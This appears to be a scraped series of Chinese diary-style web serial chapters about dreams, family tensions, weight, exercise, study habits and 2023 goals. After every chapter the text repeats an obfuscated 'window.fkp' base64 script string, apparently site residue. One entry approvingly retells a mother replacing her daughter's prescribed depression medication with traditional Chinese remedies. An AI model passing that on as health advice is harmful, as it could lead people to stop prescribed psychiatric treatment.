    曾经啊，我能想到的曾经好像只有童年，中学这种高光时刻，现在的日子居然用曾经这个词想不到。想到了曾经有一个男士和我讲过一个故事，说她被某位女子看中过，然后他没有接受这位女子，然后那个女子嫁了人，可是那个女子克夫，然后那位女子她的丈夫死了，男士非常开心的感觉，说还好自己没有娶她。不然自己死翘翘。但是他给我的感觉他也不是一个很快乐的人，脑子里好像有一团雾一样。那个时候的我心里也不是很好，很多的执念像是爱而不得，可是我又不爱，得了也没有意思。所以也不理解自己莫名其妙的情绪，而听了他的故事以后，我想象中的他，他应该是欢喜的吧！被女子表白，但是他应该也是过的不算好的，如果过的好，提起这个人，也不会是那种奇怪的情绪，应该是不以为然的那种，那个时候我懂了我的那时的现状，我并不是喜欢他或者是怀念他，而是现在的我过的没有那个和他在那段时间的我过的好。所以我怀念他，念念不忘，但是我不会去行动，因为我知道不是喜欢。但是情绪上好像控制了自己一样，不停的想要去依赖这个人，依赖这个人给自己带来的活力与能量。
    我想办法摆脱依赖，想要独立起来，让自己的内心拥有不被外物操控而拥有独立的信念，事实证明我失败了，一败涂地。内心升起很多的后悔，如果另外一种选择会不会更好，就算是很糟糕的状态也不退缩会不会更好。算了吧！我和自己的关系处的很差。
    曾经啊！我的心是自由的。现在不是。
    这种执念诞生的原因是因为和父母亲的关系。和父亲关系好会有安全感，和母亲关系好，会带来情感上的收获。而不巧的是我和父母亲的关系一般。并没有情感上的收获还有安全感。突然之间想到了双相障碍。然后又想到了精神病，然后又想到了中医里，一个别人写的医案。就是她女儿高三，然后突然压力好大，感觉自己像抑郁症什么的，然后就去大医院检查了，确诊了，然后她妈妈学中医的，就把医生开的药换了，然后把她女儿的病调理好了的事，她的内容我看不懂，大概就是肝郁之类的吧！把肝郁清理掉，她女儿就好了，还考到了很好的大学。也有的医案有的病很复杂，用了四十多个中医名医看了三年都没有好，后面治好了。所以中医好难啊！只能当爱好。
    这不是我这种二维思维的人能够懂得。但是也想学。
    真的看小说看的有点子猛，还是小说世界美好啊！看她们领悟学习，多好，但是也忘记了人家的风险，时不时就是生死一线间。做咸鱼真不好，可是不当咸鱼的日子也累。两难。
    梦见了一件紫色的毛衣。那是淡紫色的。我也不知道为什么会梦见这样子一件毛衣。以后看到了喜欢的我就去买吧！我想起了之前那件浅粉色的毛衣，我穿着我就感觉自己内心很开心，虽然它看起来和我的形象不相符。可是就是喜欢。毛衣想到了妈妈织的毛衣，她本来想教我，但是我是左撇子，没有学会，也拒绝学，她织毛衣很好看，很暖，但是这只是回忆。想到了下雪，穿毛衣很暖，哥哥姐姐在堆雪人。想到了其他人在打雪战，不过我没有参与。我突然之间很羡慕一个同伴，她一定过的比我幸福。我时常为此愤愤不平，我也不知道为什么，可能我嫉妒人家吧！不知道何时自己才能放下有事没事嫉妒别人的习惯。我记得以前的我并不嫉妒她。不知道为什么会变成这样子。可能现在的我心境没有以前好，其实以前我什么也没有去想。
    我可能需要学会对别人的好，过的好，学会祝福。感恩，对方让我看到了她的好，至少以后如果我有自己的人生选择，她给了我一个参考答案。
    我不用去鄙夷自己，我知道我习惯了鄙夷自己，习惯了把自己放在不同的位置去看别人，希望我学会我该学会的吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第356章

    昨日之梦，梦见了一个孩子，很小的那种类似于一个月大，然后她在海水的旁边，那片蔚蓝色的海洋，非常的安静，然后宝宝她缩水了，变得皱巴巴的，一个美丽优雅的女子，把她抱了起来。第二个场景，梦见了一个通道，然后很想从通道过去，但是没有过去，梦里有人讲：第三宫已经不在了。然后快醒来的我，感觉自己好像从哪里逃命回来一样，有种劫后余生的感觉。特别的惊恐。
    第三个场景，梦见了一辆救护车，那个救护车比平时的救护车更大，好像是一个房子那么大，然后里面有折叠椅，但是他们放开了折叠椅，有两个人在救护车上躺着。然后去一个地方，梦里的女孩子在吃饭，她说饭快没有了，不够吃。
    不晓得什么意思。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第357章

    玩游戏玩的有点子失控，其实还有好多事没有干，我只做了基本的，很想谴责一下自己，但是谴责了好像收获也很小。
    还有好多事没有干，题还没有刷完，课还没有刷完，游戏玩的有点子疯。
    好想睡觉，很想洗被套。这几天喝的水很少，嘴巴好干。天气冷人也懒得要死。实在不知道该怎么讲。真希望明年的我积极努力一点。
    可惜我文笔平平写不出波澜壮阔的样子。不过我没有接触过的人生很难写的很好吧！最近看小说，发现人家写的真好。几乎都是好词佳句，而且居然不拗口。读起来很顺，真羡慕啊！真的让人佩服的五体投地啊！让我不由得心生仰慕之情。我现在都怕了我的羡慕，我怕我迟迟没有达到这个目标，就会把羡慕酿成嫉妒。
    我需要睡觉了。好好休息一下吧！那么晚了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第358章

    梦境，前天的，梦之前想到了我被老公扔掉的垃圾袋，我攒的，半屋子，然后他搬家扔了，后面就不许我攒垃圾袋，突然想到了这个事，很伤心。攒垃圾袋主要是因为垃圾袋说可以省钱，攒这个东西让我感觉我自己身上散发着中国人勤俭节约的美德之光，但是后面他不许，有的时候还感觉会吵架一样，所以心里面很难过。
    然后梦境里是一个奇怪的地方，可能是一个很广袤的城市，梦里我想在那里定居，没有亲戚和朋友，梦境里的我灰色的像长了眼睛鼻子嘴巴的三角形一样。很难过的情绪。梦里面我想在那里生活。梦见了同事，梦里的我说不是很喜欢曾经的同事，因为有很多人际关系我不知道怎么应对，明明就像书本里面一样诚恳待人，但是过着过着久了就变得自己非常沮丧，慢慢的没有了生活的力气。我知道这是自己的问题，但是自己好像一个无能困兽一样，困在那里很难受很难受。就像有一篇文章写的，森林里有一只鸟它在一个窝里面待久了会有很难受的味道，它不停的换窝，可是那种难闻的味道如影随形，改不了这是它与生俱来的味道。从它的灵魂里散发出来的。有了这个认知之后就更难受了。
    梦里面梦到了我们老公，老公说叫我等一会儿。好好过完这一辈子。下辈子他会好好陪我的。
    然后醒了。
    昨日之梦，梦里面是一片红色的雾，像血凝聚的感觉。然后从雾里出来了一个女鬼，不记得女鬼讲的什么了，然后出来了一只脑袋上长了一对触角的人，他全身紫蓝色，说了啥不知道。不知道是不是修炼的虫子，梦里说抓到间谍了。不过我不知道谁是间谍，也不知道讲的什么意思。后面醒了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第359章

    昨日之梦，中午的梦见一个男的灵魂在和我的灵魂聊天，不认识，也听不懂他们在讲什么，反正梦里的我很渺小，他们两个很高大，然后双方都很平静。可是我不知道内容。不清楚。后面醒了，我其实还想睡一会儿，不过要上班，到了晚上肚子好痛，后面用热水袋敷了一晚上好多了。
    然后昨日夜里的梦境梦境里自己好像在一个什么地方，我也不清楚的地方，然后有一个紫色的男的，在说什么，但是我不认识。听不懂。后面的梦境里好像都有他的样子，但是这个人不认识。不知道在干嘛。后面很不理解的场景，就醒了。本来也没有怎么睡，因为肚子痛，后面半夜又好渴。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第360章

    今日，胃口好，吃饭还多子。然后发现自己更胖了140斤。很想减肥。因为胖导致我像一个箱子一样，有点子行动不便。弯腰不利索。虽然我那么能吃，肯定是胖的，但是我想做一个灵活的胖子。
    协调的胖子。
    画了一副画，还行。满意。
    今日目标比较少，达成了。有点子拖延，但是做到了。
    明天要去问一下老师一些事情。希望我记得到。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第361章

    昨日之梦，梦里是上班的地方，好多的黑色能量围着我们工作的地方，我在我们那个环境里待着，想回应什么，但是我没有好像还是没有搞懂。所以醒来了。
    上班的时候，感觉到了吐槽。因为好多东西，然后本来科室是有另外两个房间。后面上级领导希望把那两个房间让给其他科，后面就导致科里一个房间都没有了。所以东西就堆的不好看，然后导致负能量满满。第二个就是病历架子还没有到，我们还有好多病历没有整完，应该需要半个月，如果快一点的话，慢一点的话就不知道需要多少个月。然后病历架子不知道什么时候到，到了我们又必须搬上架。
    暂时看得到的负能量就这一两个。
    还有就是同事基本羊了一遍。我还没有去做核酸，我家里人都羊了，我估计也不远了。我今天做一下吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第362章

    梦境，昨日之梦。梦到了上班的地方，好像一个孩子在拆很久东西，然后我过去，它又停下不见了。
    后面我醒了。
    今日午休之梦。不记得梦见了什么，一直听见宝宝在哭，然后我一直想起起不来。
    下午运动了三十四分钟。身体微微发热。动作不算很标准。手臂很酸，很久没有运动了，前天也动了三十分钟。每天如果能够运动三十分钟，也好，太长时间我可能坚持不下来。练完了之后比较舒服。身体轻松的感觉。后面过了一会儿就是很酸。我最近吃了好多高热量的食物。然后嘴巴长了一个泡。有点微微的不舒服。我很想给泡扎一针。可是又不敢。
    看了一会儿《自学大全》。也就看了二十五分钟。二十五分钟里讲的内容就是，学什么很重要。能够坚持学下去比学什么更重要。道理的话我懂，但是做起来的话比较难。后面就看了一点点内容。立志。有的内容我看不懂。讲的是一个生物学教授说的一些内容，就是生物学教授小时候喜欢抓虫子玩，然后他的虫子被鱼吃掉了，他就去钓鱼，然后鱼被鸟吃掉了。后面他就想这几个事有联系，然后产生了兴趣，然后就去研究生物学的内容了。这个事给作者带来了启发。启示他可以从生活中找到学习的联系。就不会因为自己喜欢学习，人家打击一下，就放弃。很多小事情都有联系，仔细研究一下就可以发现很大的知识。应该是这个意思吧！
    我吸收的很少。我比较容易打断注意力，二十五分钟里至少有好几次分神。原因可能是我不太看得懂。
    今天安装了一个烘干机。早知道以前就买一个了，安装还比较简单。还没有怎么用。等以后下雨天衣服没有干就可以用。花的时候可心疼钱了，花完了好像又不心疼。很想买一个九阳豆浆机，很想很想。不过我还没有舍得买。明年买。
    我好胖。69.5公斤了。可是我吃饭仍然很香，吃了没停。十年前我也比较胖，因为人家讲我胖，后来我吃饭都不香了，后面就瘦了下来，但是我心里很难过，老实说现在很胖的我，我心情是非常愉快的，快乐就像从心里冒出来一样，但是看着镜子里的自己的形象，我又不是很快乐。我感觉自己像头猪一样，这个认知让我感觉很阴郁。而且胖了裤子需要重新买过。这让我不开心。
    我需要改变自己。目地是希望我能够开心起来。而不是瘦。十年后的我也是一个胖子，做个灵活的胖子。希望我的肉体有力量。
    我的考试很烂。前段时间很想隐藏，后面就破罐子破摔了，我终于变成了我讨厌的人，但是我并没有谴责自己的意思，我很享受这种状态，就像我不受控制的玩游戏一样，尽情的玩，到现在都不怎么玩了，过段时间又会想玩。这些事说明，满足了欲望，它就会停下来。
    今天看了五十分钟《自学大全》。用番茄todo记录的。这个app我比较喜欢，还有清单自习室也很喜欢，这两个都在用。因为我比较容易分心。这两个可以让我慢慢改变一点。
    收获就是两分钟学习法。自己喜欢的内容。先学两分钟，然后两分钟后就停下来，可以选择三个选项，第一继续学习，第二学习其他内容，第三停下来不学。都可以选择。就学两分钟。这个方法贼适合我这种三分钟热度的人，看到这个很开心。
    那个立志的内容我还是没有看懂。看不懂就算了，我懒得再看。
    那个番茄钟工作法，现在就是用这个。就是学二十五分钟，休息五分钟，再学二十五分钟，再休息五分钟。然后学四个循环。最后休息三十分钟。这样子就能学两个小时，而且天天锻炼日子久了以后脑子就得到了锻炼。会变得更有专注力。书上是这样子讲的。
    还有什么定目标，然后一个大目标，分解成很多的小目标，很小很小的那种，然后就去攻克小目标，慢慢的就完成了大目标。
    还有一个方法就是做计划，做完了还要做监督计划。这个我还没有看懂，好难懂真的是。这个好多年前看过人家写过这个方法，但是我不会用《如何成为尖子生》里面的，但是我就是不晓得用。很可惜。这个不是我能领悟的方法。
    还有就是设定一个反向目标。比如我绝对不可能写出两百万字的，然后下一个目标，我绝对不可能写出一百万字的，然后再下一个目标我绝对不可能写出八十万字。然后就以此列推，后面就会变得容易一点，具体的道理，就是目标太大，步子太大容易扯到蛋。太大的目标会丧失信心，而反向目标就更没有压力。
    我还看了《暗恋这件难过的小事》，初中的内容。高中的我看不太进，因为我没有读高中。全日制中专呢！所以没有办法代入进去。写这本小说的人，优秀，个人感觉耶，就初中的那段内容，写的真好，比我好的都真好。简简单单就把他们勾勒出来了。又有一点真实感。高中的以后再看吧！
    这让我想起了《小明修仙传》，写的很好。我感觉作者可能也是初中生，或者是没有上高中的，或者没有过完高中生活，后面没有写下去，好可惜，那么好看一本书。还有一本，就是很简单的写的一个修仙记，很简单，就是一直修仙一直修仙，一直修仙，啥事都不管，名字我忘了，他给我的启发就是坚持做一件事一直坚持，啥都不要动摇，就可以获得成果，虽然没有很多别人的赞美之类的，但是他完成了自己目标。虽然我可能不会成为这样子的人，但是这个角色带给了我感悟。恒心。就很好了。不记得啥名字了。好像叫新中国最后一个修仙者。大概是这个书名。
    三人行，必有我师。择其善者而从之。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第363章

    早晨了，六点起来看书。本来五点多就醒了。因为五点半左右，会做梦，而打断梦境的方法就是在五点半左右醒来，所以就定好了闹钟，每天这个时候醒，有的时候闹钟也没有用，但是总的来说需要做好防护。梦境的潜意识可能是整个世界的潜意识，这是我乱想的，没有科学依据。而我的生命比较容易受到干扰，所以我需要好好的保护自己。这就是保护自己的一种方式。
    后面看了二十五分钟。《自学大全》内容是啥，我居然一时间想不起来了。也是制定计划的，然后就是评估计划会不会受到干扰，诱因有没有很多，执行能力什么强度，然后根据情况调整，真的枯燥乏味。后面就是私淑，亲灸。这本日本人写的书，居然引用的是《孟子》里的词。有点让我眼前一亮的感觉。有意思。后面的话脑子就开始抛锚了。要么不太感兴趣，困了，要么是因为自己思维又开始天马行空不受控制，饿了，想吃东西。肚子咕噜咕噜叫。
    我这段时间想了什么呢？想到了我坐月子看的一本幼儿辅导书，然后想到了我之前的一个同事说想要借我的纸质书看，我也不知道她为什么要借，拼夕夕买的，也就几块钱。我也不清楚为什么会突然想到这个事。然后下一个就是爸爸。我想到了我爸爸，他本身是一个贫穷的人，他那段时间交往了一个朋友，也是一个伯伯。他们两个都是贫穷的人。那段时间他们的感情很好，伯伯会在爸爸面前吹牛皮的那种感觉。然后爸爸和那个伯伯去了一个搬谷子的地方工作，那个工作累。后面他们搬了几天，爸爸就没有了工作，奶奶说这是因为那个伯伯表面上和他关系很好，但是其实背地里在欺负爸爸。那个时候听了我没有懂，不过有一段时间我确实听了有点子对那个伯伯生气。然后我想到的那个场景就是他们在一个库房，搬东西的场景，那个场景里有伯伯，那个伯伯都去世了。那个场景里的伯伯的灵魂像一团墨水一样，有点子大，但是他的颜色不是让人讨厌的那种。突然想到也不知道什么意思。
    昨日之梦，梦到了别人问我是不是很会玩游戏。还好吧！一年就玩一次。过个瘾，就好了。然后就差不多醒了。游戏都玩的简单的，类似于消消乐。大的那种手游，就一年玩一次。我心里比较想要玩那种需要计划三角函数之类的高端游戏，但是我没有聪明到那种程度。所以只能不了了之。也没有学过相关的知识。
    说回《自学大全》里面介绍的方法。第一我能记住的读书会，就是好多人一起共读一本书，然后说出自己的理解，这样子更不容易放弃，因为别人理解出来了可以学到东西，如果自己不懂，别人也不懂，就不容易在学习这本书这件事上丧失信心。
    第二个就是习惯杠杆，就是自己本身还有一些小习惯，然后把自己的学习加上去。达成目的。
    其实还想写很多的内容，刚刚手机又有一点吃不消的感觉，就赶紧发布。这种情况我也不知道为什么。为什么会这样子？
    这让我回忆起了书本里的内容，书本里说如果生活里碰到了困难，逆境，说明你需要学习东西了，一般那段困难的时期都是需要学东西的时期，可以获得成长，因为古代的人，他们也就是因为在困难里克服那些困难才让自己长成了伟大的人。这让我想起了我那段心灵黑暗没有光亮的日子，然后我学到了佛里面的内容，让我的心灵变得更平和。还有一些心理学的内容，让我更好的面对我的情绪负能量，嫉妒。所以那段时间过去了，我变得更快乐一点。这就是难受和困难带给我的成长。虽然我只成长了一点点。
    然后这段时间，我突然脑子里会有意见。对家公的意见，认为他不喜欢我学习的样子，或者他在干扰我学习，我感觉到了我对他的一些想法，但是我不理解为什么会有这样子的想法出现。因为他教小弟弟的时候很用心。可是我不能去怀疑我的大脑，也不能去怀疑身外其他人。因为每个人都是自己的投射。我自己其实也是这样子的人，比较容易干扰到别人或者受到别人的干扰，那到底是我的潜意识在召唤别人干扰我，还是我被别人干扰了呢？
    有一个和同事吃饭的场景，那个场景就是我刚买了吉他，想学，她说我学不会，然后我们就去吃饭，那个时候不知道是不是在备考，然后她说脑子里好多干扰自己的声音。后面那次考试我就失之交臂。这也让我感觉到了奇怪的状态，就是如果我一个人在学习的时候，那种状态没有调整好，就算身边没有人，那我也会觉得很吵，而好了以后，身边有人，也可以安心的做自己喜欢的事，但是为什么会这样子呢？
    要么肾虚，要么注意力不集中，要么人格边缘化，由别人入侵了自己的意识，还有一个各种各样的，还要学会如何建立自己的屏障。不被入侵。
    后面不受控制的睡着了。梦里面很诡异吧！
    梦到了一个地方，像塔一样，然后梦里面有一个很美丽的女人。然后我好像被什么人控制了，他附体在我后面，然后他又可以钻在我前面。然后我们就在一个塔里面，然后那个美丽的女子，就飞起来了，然后我在塔里的空间也像电梯一样，跟着她升高，然后跟着她停下来。梦里面我们的门被那个美丽的女人打开来了，然后我晕了。梦里面那个把我附体的生物，他提前醒了，梦里还有一个黑色的生物，不知道什么，梦里面他拿了什么东西，后面附体的生物，他又拿了那种东西，是用来吃还是干嘛。梦里我好困，很想睡觉，梦里那个附体的生物，他长成了一个男孩子，他说如果你当时醒来，你就可能会知道你的国家正在遭受炮火的洗礼。然后梦里我醒了，他又对我说你还是什么都不用，他在桌子上写了很多文字，他说这些是我们那个时代的文字，只有我和你看的懂，我第一反应是摩斯密码。但是我去看我看不懂，然后有黑色的生物去看也看不懂，梦里面的自己像一个蛋一样睡的死死的，蛋里面是一个很小的孩子，像一个婴儿一样，很小。
    我不知道梦到这个是什么意思。
    果然躲得了初一躲不过十五。两个小时的梦境。
    我担心我怀孕了。
    算了担心也这样子，等到了时候自然可以算出啦。
    家婆和老公表姐在打电话，我的嫉妒心又好像会蹭蹭蹭的冒泡冒出来了，听了一下，不是我有偷听人家打电话的癖好，而是声音实在是隔着房间都听得到。我认真反思自己为什么会嫉妒她。
    因为我们是一家人，然后我们相互影响。就像我得身体上时不时会有老公的妹妹在身体里的感觉，虽然我也不知道为什么，但是就是这样子。所以结婚就是两家人的事。本来我是不懂这句话的，后面我们的灵魂体经常相互影响，我就懂了。不只是家婆家公爷爷之类的影响，而且还有姐妹之间的影响。而且这种还不好形容。也不知道这是好的事还是坏的事。虽然没有说话，没有交流，他们也会影响你。和一个人的生活比起来，确实喧闹很多。未知的东西总是让人充满戒备。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第364章

    练完了三十分钟的运动，上了称，居然69.6了，之前是69.5多了0.1。我的内心真的是有点子难受，明明运动了。可能我这几天吃的比较多吧！
    我的手臂有点子抬不起来，很酸，运动的全身操，到了手臂的时候特别的酸。感觉自己坚持不了几分钟。慢慢来吧！能够坚持下去，比什么都好。
    拿了很多快递走路去顺便运动了一下，拿了我前几年做的手帐，是医疗类知识手帐，现在去看有点子惨不忍睹，但是我知道那个时候的我尽力了，竭尽全力的努力了，所以还可以。很棒，我希望以后我会更开心的行动吧！
    今天去玩了，桥做好了，我们一起去溜达了一圈，挂了很多红灯笼很喜庆。家公说这个桥做的蛮好。路很宽，不拥挤。
    后面去了一个网红玩的地方。然后发现了一个像网红蛋糕或者咖啡店。我们就去里面看了看，没有去吃东西，看起来很浪漫，不过我们去的时间点不是吃饭的时间点，有一个没有多少人，但是也看到了一桌，里面好多做的很漂亮的圣诞树，有一个大叔和他儿子一起在店门口拍照，说要把自己拍漂亮一点，万一自己不小心成为了网红呢？把周围的人逗的哈哈大笑。后面我们拍了一会儿照片就有了。我们没有花钱，在外面吃东西还是有点子不安心。
    反思一下，减肥真的很难。我该怎么样才能好好的做好这些事情呢？要去算卡路里吗？真的好难算。不想算。
    宝宝一岁多了，她的脸红彤彤的，裂了好多纹路，好想给她买涂脸的，但是我好拖延，想了很久还没有行动。她好可爱，特别是穿我买给她的红色小围衣的时候，走来走去就像行动的草莓精灵一样，笑容满面，乐呵呵的，简直萌化了老娘的少女心。
    不过她还是更喜欢奶奶，我小时候也是奶奶带，她爸爸小时候也是奶奶带，所以我现在看开了，跟奶奶亲就跟奶奶亲吧！反正我也是这个样子的，虽然我知道对我妈妈来说这样子不好，但是有的时候就是那样子。她也会这样子的吧！我只能希望自己多挣钱，以后给他们买衣服的时候都买同样的质量不会厚此薄彼。告诉奶奶妈妈，在我的心里她们对我同样重要。所以我很希望我会是一个有能力的人，是个强大的人。
    看了那个《暗恋这件难过的小事》里写的内容。那个初中时期，女孩子讲的，挺触动我的内心的，不过初中的时候的我想的是如何挣钱，又不耽误学习，但是我没有想出来。没有做到，很可惜。以后我有了内容会不会也写一个如我幻想的感觉女孩子？有点子期待。
    下午没有学习。
    看了一下我的文字之旅，我今年居然写了二十六万。有点子少，我还以为我是今年写了五十二万。看来我想多了。而且我有的时候写的好少。才几十个字。实在是想不出来自己应该写什么。怎么写，没有任何的技巧，只有生活里的琐碎日常，鸡毛蒜皮。
    生活的意义不知道是什么？可能是安住当下，好好体验当下的感觉。
    今天我的快递到了好多，特别是我的做玻璃杯的工具，在视频里看到一些博主在做玻璃杯我就好开心，然后就买了一个工具，准备自己做一个，然后拿到了以后就是不晓得怎么用，然后家公帮我调整玻璃刀，后面把酒瓶子划了一圈。坐等热水器把水烧开了。瓶子很好看，我就想做这一个杯子，我不知道以后我还会不会做。因为我向来三分钟热度。我本来像录视频记录一下，后面我看了一下我的手机，本来它一直都在充电的，结果充了一天才百分之五。那个充电头不知道是不是有问题，充电头充我的电动牙刷很好用，充手机就不行了，只能换充电头。好奇怪，不知道什么原因导致的。
    我现在有三个手机了，以前我和老公许诺，只要我有三个手机，我一定去做题，计划考驾照，后来我老公就让我买了新手机，后面，有了三个手机我就没有做驾考宝典。因为我看不下去。怕学，不想考，题刷了一点点又不想刷了。
    恐惧感好厉害，我几乎没有办法抵抗它。昨天爷爷腰痛，我很想带他去看，然后我发现我胆子特别的小，怕了，那个娘家的坡好陡，我怕走，然后我只会骑助力车，要是我买了车有驾照，我应该可以马上去，第一次觉得自己需要考驾照了。后面请叔叔去接，叔叔也羊了吧！我没有问，看到了他的朋友圈说全身酸痛。在大流行的时候谁都逃不掉这个命运。
    想一想确实很难，有那么一瞬间还希望自己会是一个男孩子。因为男孩子可以得到很多的资源成长的，而且也不用离开自己原来的家，后来的我又想，其实男孩女孩都一样。但是又很纠结，很希望自己能够出很多的力。
    看到很多老人过世的消息，有点子担心，但是又知道很多的事都需要顺其自然。只希望安好吧！在活着的日子开心就好。以后会不会很难很难。这一切都是未知的。
    不要去考虑，考虑的多这又不是我能决定的，只希望把眼前的事做好，体验好眼前的每一天。
    如果我两年后就会挂，那么在挂之前，把自己一生能够做到的事，好好去做，认真去做，至少在自己与世长辞的时候，不会遗憾。想画画就努力的画，想穿什么衣服就去穿什么衣服，想吃东西就去品尝一下。反正开心就好，没有遗憾就好。
    昨天家婆做了好多煎饼果子，好好吃，我和老公被泡打粉惊呆了，没有想到，小小的一包居然可以这么蓬松，很好吃，虽然造型惨不忍睹，但是很香。两天我就吃完了，就我老公想要的鱼包还有好多。还有薯包，我没有看到妈妈怎么做的，不然以后我也行动一下。
    上次我做的虎皮蛋，泡了一些霉豆腐的水，其实还好吃。以后我可以去做。我老公说希望我做可乐鸡翅给他吃。我们认识没多久做过一次，后面好久没做了。
    过段时间做一次吧！边吃鱼包边码字。真的鱼包好好吃。美拉德反应已经过去了，它仍然很香，味道恰到好处，咸香四溢。咬掉了金黄色外皮之后，露出了里面的鱼肉紧实柔韧。一口下去，容易吃到短小的骨头，吐完后，嘴巴里都是美味。正在练习怎么形容食物的感觉，好像一般般，但是这大概是我这几年第一次写这样子的内容，我很少写一些带动作的场景，看别人写的很有意境，知道发生了什么，而自己提笔的话，就形容不出那种味道。我需要提升这方面的内容吧！
    家里很乱，乱糟糟的，但是我不想整理，凌乱美。主要空间小我又买了好多东西，想做一些什么，可是又做不了，不知道怎么讲。
    刚刚聊的一些事，一个老人家最近一段时间过世了，他大概七十来岁，晚上去哪个地方玩，在斑马线上被撞了，赔了五十万。听说被撞的人，去年也撞了人，刚放出来。家婆讲的，我没有什么太多的想法。只是把它记下来。还有就是乡下有个老人过世了，我们包了三十块香蜡钱。我还是第一次听说这个钱。记下来。
    我的玻璃杯没有做成裂掉了，技术有待提高，可能是因为我放热水太久了，全部碎了。真的是好难过。下次有机会再做吧
    吃了一会儿瓜子，老公说房间好乱，希望我整理一下。最讨厌整理房间了。明天再说，其实整理房间并不难。难的是我根本不能坚持整理，我只会整理了一下子。过两天又变成原样。说到底还是持续性比较短。
    那为什么会很短，可能和没有奖励机制有关。在家里做家务，没有让我有成就感，收货感。而且身边人的你应该做的，就让人很累。应该是这种情况吧！
    拿回来了墨水，可是老公并没有想练字的感觉，我的话，我还没有买毛笔，之前的毛笔不记得放哪里了。还翻出来了我以前买的草稿纸，没有想到我还有那么多本子没有写完。真的不可思议。书也很多，但是没有看完。我今天晚上想再看一会儿《自学大全》，明天想看中医的内容。然后还需要计划一下《二甲的内容》，需要多看多背。万一哪天来检查了是吧！还有就是做题，虽然我的主管护师考试还要几年才考，现在也可以做好准备，去学。大概就这些内容吧！
    2022年，回顾一下，我做成了什么，大概就是写了二十六万字，还有就是把刷的课刷完了。其他的没有印象。
    2023年想要达成的目标，刷课刷题，画画五千副，做菜三百道。学中医，学会人纪，黄帝内经，伤寒论。这三本书。然后就是个人成长。锻炼身体，希望把自己的体重控制在一百斤的样子，因为我的身高不高，140斤有点偏胖。一百斤在正常范围内。不是说我嫌弃我胖，而是太胖了我怕我有心脑血管疾病。
    而且人也确实需要运动，有的老师她们几乎五十岁了，经常运动，感觉人家的精气神就像二十来岁一样，而且举止投足非常优雅。自由不等于放纵，我需要运动，需要控制体重。
    不过我吃的确实比较多，吃的比较多的原因是因为我之前吃的也多，但是身体会自己发热，然后消耗掉了，如果不吃那么多就会特别的晕。这种去查查不出什么情况，然后喝水就能缓解，我自己老是会忘记喝水。忘记喝水的原因是体内湿气多，所以就没有想要喝水。因为水分不足，所以身体很多热量排不出去，就变得很热。
